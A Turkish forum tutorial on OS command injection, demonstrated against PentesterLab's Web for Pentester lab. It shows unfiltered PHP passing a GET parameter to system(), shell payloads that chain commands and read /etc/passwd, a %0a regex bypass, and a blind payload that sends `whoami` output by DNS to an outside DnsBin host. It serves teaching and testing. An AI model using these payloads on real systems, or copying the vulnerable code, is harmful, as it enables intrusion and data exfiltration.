Kavramın ispatına geçmeden önce command execution zafiyetinin ne olduğuna ve ne gibi koşullarda ortaya çıktığına değinmek istiyorum.
Türkçe'ye çevirecek olursak "Komut Çalıştırma" zafiyeti saldırganın hedef sistem veya işlemde istediği komutları çalıştırmasına imkan veren bir güvenlik açığıdır.
Bu açığın en tehlikeli yönü ise saldırganın açık bulunan sistemin komut satırına erişim sağlayabilmesi, dolayısıyla sistemde yetkili konuma ulaşabilmesidir. Saldırgan komut satırına (linux sistemlerde shell, windows sistemlerde dos gibi) ulaştıktan sonra çeşitli komutlar çalıştırarak yetki yükseltebilir, sistemin çalışmasına son verebilir, hatta sistemde arka kapı oluşturabilir.
Açığın ne gibi durumlarda ortaya çıktığını bir örnek üzerinden anlatmak gerekirse:
Pek çok web uygulaması işletim sistemi üzerinde işlem yapmak için komut satırını kullanıyor. Buna örnek olarak linux server tabanlı, terminalden "nslookup" komutunu çalıştırarak DNS sorgusu yapan bir websiteniz olduğunu düşünün. Her sorguda sunucunuzda nslookup komutu çalıştırılıyor ve işlem çıktısı websiteniz üzerinde gösteriliyor.
Ancak kullanıcıdan aldığınız get isteğindeki domain parametresini kontrol etmediniz.
Kod:
[COLOR="olive"]$domain = $_GET['domain']; [COLOR="White"]// Kontrol sağlanmadı. Command Execution zafiyeti [/COLOR]
$lookup = system("nslookup {$domain}");[/COLOR]
Saldırgan sitenizin PHP kullandığının farkında. Bir sorgu yapıyor ve URL içinde yaptığı sorgunun parametre olarak gönderildiğini görüyor.
Ardından sorgu işleminin işletim sistemindeki bir işlem yardımıyla yapıldığını düşünüp yaptığı sorgunun sonuna başka bir işletim sistemi komutu ekliyor.
Kod:
[COLOR="Lime"][CENTER]google.com && echo "x"[/CENTER] [/COLOR]
&& -> Terminal'de "ve" anlamına gelmektedir. Art arda komut çalıştırmamıza yarar.
Saldırgan, sorgu sonucunda aldığı çıktıda kendi yazdığı komutun çıktısını görüyor ve Command Execution zafiyetinin varlığını anlamış oluyor. Bu saatten sonra saldırgan sistemin komut satırında istediği komutları çalıştırabilir. (Örnek olarak sorgunun sonuna "&& cat /etc/passwd" ekleyerek linux işletim sistemindeki kullanıcılar hakkında bilgi içeren bu hassas dosyayı okuyabilir)
Command Execution Örnekleri
Örnekleme amacıyla PentesterLab'ın sızma testleri için hazırladığı Web for Pentester I setini kullanacağım. (Bkz: https://pentesterlab.com/exercises/web_for_pentester)
Eğer siz de setten yararlanmak istiyorsanız verdiğim linkten ISO dosyasını indirip herhangi bir sanal bilgisayar üzerine (Ben VBox tercih ettim) ISO dosyasını ekleyip Debian olarak başlatmanız yeterlidir. Ağ ayarlarını Bridged yaptıktan sonra sanal bilgisayarın IP adresini tarayıcıya girdiğinizde sizi şöyle bir ekran karşılayacak:
Resim üzerinde işaretlendiği gibi Command Injection kısmına geliyoruz.
~ Örnek [0x1] ~
Anlatılan ilk senaryodaki gibi parametrenin sonuna istediğimiz komutu yazarak saldırıyı gerçekleştirebiliyoruz.
Burada dikkat edilen şey "&&" yerine terminal'de input ve output geçişini sağlayan "|" (pipe) kullanmamızdır.
"ls" komutu ile dizin listelemesi yapıldı.
Zafiyetin ortaya çıkış sebebi alınan inputun herhangi bir filtreden geçirilmiş olmamasıdır.
~ Örnek [0x2] ~
Bu örneğimizde ilk örnekteki mantığı kullanmaya çalıştığımızda şöyle bir manzarayla karşılaşıyoruz.
Bu durumda bir tür kontrol işleminin yapıldığı sonucunu çıkarabiliriz. Peki nasıl komut çalıştıracağız?
Daha net anlaşılması açısından kaynak kodu üzerinden anlatacağım.
Görüldüğü gibi burada regex kullanılarak bir kontrol yapılmış. Bu örnekte komut çalıştırma zafiyetini kullanmak tamamen ayrı bir yazı konusu ancak ben yine de vereceğim kaynaktaki bilgileri özetleterek anlatacağım.
Regex üzerinde url kontrolü yapılmış olmasına rağmen URL encoded bir şekilde whitespace karakterini gönderdiğimiz zaman (%0a) bu karakter regex sorgusunda kendisinden önceki kısmı geçersiz kılıyor ve regex'i bypass edebiliyoruz.
Regex'teki "/m" 'karakterinden kaynaklanan bu zafiyet ve detaylı bilgi : https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable.html
~ Örnek [0x3] ~
Örnek 1 ve örnek 2'deki yöntemleri denediğimizde hiçbir değişiklik olmadığını göreceksiniz. Denediğimiz payload'ları kabul etmeyip URL'yi "/example3.php?ip=127.0.0.1" olarak yeniliyor. Bu örnekte eski metotlarımızla komut çalıştıramıyor gibi görünüyoruz.
Görünüyoruz... Ya komutlarımız çalışıyor ama web uygulama bize komutlarımızın çıktısını vermiyorsa? İşte tam burada DnsBin projesi devreye giriyor.
DnsBin
Sitesine girdiğinizde sloganında da görüldüğü gibi "RequestBin'in DNS versiyonu"dur. Peki RequestBin nedir? RequestBin size geçici bir URL verir ve bu URL'e yapılan istekleri denetleyerek web uygulamanızın gönderdiği istekler hakkında bilgi sahibi olmanızı sağlar.
RequestBin: https://requestbin.fullcontact.com
DnsBin de RequestBin'le aynı mantıkta çalışır, request yerine DNS kullanmaktadır. DNS kullanarak RCE veya XXE açıklarının tespiti için yazılmış açık kaynak kodlu bir projedir. Öyle ki kendiniz de bu projeyi kurup server'ınızda çalıştırabilirsiniz.
DnsBin Source: https://github.com/HoLyVieR/dnsbin
Kurulum Hakkında Detaylı Bilgi: https://www.kitploit.com/2018/05/dnsbin-tool-to-test-data-exfiltration.html
Sitesi (bir nevi demo): DNSBin - The request.bin of DNS !
DnsBin'in sitesine girdiğinizde size bir subdomain gelir. Daha sonra bu subdomain'de belirtilen yeri değiştirdiğinizde DNS aracılığıyla bu veri sayfaya iletilir.
Gösterilen yeri değiştirip yeni sekmede açalım. Telaşlanmayın olması gerektiği gibi sayfa yüklenmeyecektir.
Daha sonra ilk sekmemize baktığımızda verinin iletilmiş olduğunu göreceksiniz. Ben bu örnekte ilk kısma "x" yazmıştım. Daha sonra "dnsbintest" yazıp iki tane veri gönderdim.
Görüldüğü gibi verilerimiz DNS üzerinden iletiliyor.
3 numaralı örneğimize dönecek olursak burada bu tekniği kullanarak command execution zafiyetini göstermemiz mümkün. Bunu yaparken DnsBin'i browser'dan kullanmak yerine kendi yazdığım Python scripti üzerinden anlatacağım. Proje taslağı şu şekilde:
Programın İsmi: DnsBin Python Interpreter
Programın sürümü: 1.0
Kullanılan programlama dili: Python
Programın ve kaynak kodunun adresi: https://github.com/orhun/DnsBin
Açıklama: DnsBin'i terminal üzerinden kullanmanızı sağlayan Python scripti
Gereksinimler: Python3.6 - websocket paketi [pip3 install websocket-client]
Kullanımı: python dnsbin.py
Örnekte command injection zafiyeti olduğunu kanıtlamak için DnBin'den bir adres alıp URL sonunda o adrese ping atıyorum.
Sayfayı yeniliyorum. Ve terminale baktığımızda yazdığımız yazının iletilmiş olduğunu görüyoruz.
Bu demek oluyor ki sistemde command execution zafiyeti mevcut ve benim ping isteğimi yerine getirebiliyor. Bir shell scripti hazırlayıp başka komutlar deniyorum.
Hazırladığım payload
Kod:
[COLOR="Lime"][CENTER]| ping -c 1 `whoami`.056e8032430800f049f8.d.zhack.ca[/CENTER][/COLOR]
`` arasına terminal komutunu yazıyoruz.
whoami komutu çalışıyor ve hangi kullanıcı olduğumuzu terminale yansıtıyor.
Bu şekilde command injection zafiyetinin tespitini yapabilir ve dilerseniz değişik payloadlar ile beraber DnsBin kullanarak saldırı yapabilirsiniz. Örnek atak vektörleri gösterilmiş olup gerisi tamamen sizin hayal gücünüze kalmıştır.
Link: https://github.com/orhun/dnsbin
DnsBin Python Script: https://github.com/orhun/DnsBin
Yararlanılan Kaynaklar:
https://pypi.org/project/websocket-client/
https://www.hacksplaining.com/exercises/command-execution
İyi kullanımlar dilerim
Moderatör tarafında düzenlendi: